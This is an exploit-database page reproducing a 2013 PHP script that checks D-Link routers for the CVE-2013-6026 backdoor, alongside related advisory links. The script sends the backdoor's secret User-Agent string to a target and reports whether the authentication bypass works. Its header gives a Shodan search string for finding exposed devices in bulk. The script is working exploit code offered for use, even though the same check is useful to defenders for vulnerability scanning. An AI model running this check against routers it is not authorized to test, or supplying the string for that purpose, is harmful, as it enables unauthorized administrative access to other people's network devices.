Lucene search
K

D-Link Backdoor Czechr

🗓️ 30 Oct 2013 00:00:00Reported by dustyfreshType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

D-Link Backdoor Czechr, PHP exploi

Related
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for CVE-2013-6026
27 Sep 202114:39
gitee
Gitee
Exploit for CVE-2013-6026
29 Nov 201817:24
gitee
Circl
CVE-2013-6026
18 Feb 202313:52
circl
CVE
CVE-2013-6026
19 Oct 201310:00
cve
Cvelist
CVE-2013-6026
19 Oct 201310:00
cvelist
Tenable Nessus
alpha_auth_check() Function Remote Authentication Bypass
15 Oct 201300:00
nessus
NVD
CVE-2013-6026
19 Oct 201310:36
nvd
OpenVAS
D-Link Multiple Devices Backdoor
14 Oct 201300:00
openvas
Prion
Authentication flaw
19 Oct 201310:36
prion
Positive Technologies
PT-2013-5931 · D Link +2 · D-Link Di-604 +8
19 Oct 201300:00
ptsecurity
Rows per page
`#!/usr/bin/php  
<?php  
/*  
.---------------------------------.  
| |  
| dlinkd - D-link backdoor czechr |  
| |  
.-------------------------------------------------------------------------------.  
| Written by @dustyfresh - 10/13 |  
.-------------------------------------------------------------------------------.  
| See: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/  
| http://www.security-database.com/detail.php?alert=CVE-2013-6026  
| Usage(command-line only):  
| ./dlinkd http://192.168.1.1:8080/  
| Shodan dork:  
| thttpd-alphanetworks/2.23  
.-------------------------------------------------------------------------------.  
| Educational purposes only, kkthnx. |  
| http://rootatx.com/ || http://staypimp.in/ |  
.-------------------------------------------------------------------------------.  
| GNU GENERAL PUBLIC LICENSE  
|  
| Version 3, 29 June 2007  
|  
| Copyright © 2007 Free Software Foundation, Inc. <http://fsf.org/>  
| Everyone is permitted to copy and distribute verbatim copies of this license  
| document, but changing it is not allowed.  
|  
| http://www.gnu.org/licenses/gpl.html  
.-------------------------------------------------------------------------------.  
*/  
error_reporting(1);  
set_time_limit(0); // ain't nobody got time fo' dat  
$help = "\t--help, this help menu\n\nexample: ./dlinkd http://192.168.1.1:8080\n";  
$host = $argv[1];  
$curl = curl_init($host);  
$swag = array(  
CURLOPT_HEADER => 'true',  
CURLOPT_POST => 'true',  
CURLOPT_USERAGENT => 'xmlset_roodkcableoj28840ybtide', // the secret ingredient  
CURLOPT_RETURNTRANSFER => 1  
);  
curl_setopt_array($curl,$swag);  
switch($argv[1]){  
case NULL:  
die($help);  
break;  
case "--help":  
die($help);  
break;  
}  
$sup = curl_exec($curl);  
$return = curl_getinfo($curl);  
curl_close($curl);  
$exit = $return['http_code'];  
if($exit != 200){  
print "[$host] :( This door is locked.\n";  
} else {  
print "THIS IS A TRIUMPH! [$host] is vulnerable\n";  
// 'murica, ah'll tell u whut  
}  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Oct 2013 00:00Current
6.7Medium risk
Vulners AI Score6.7
EPSS0.11409
49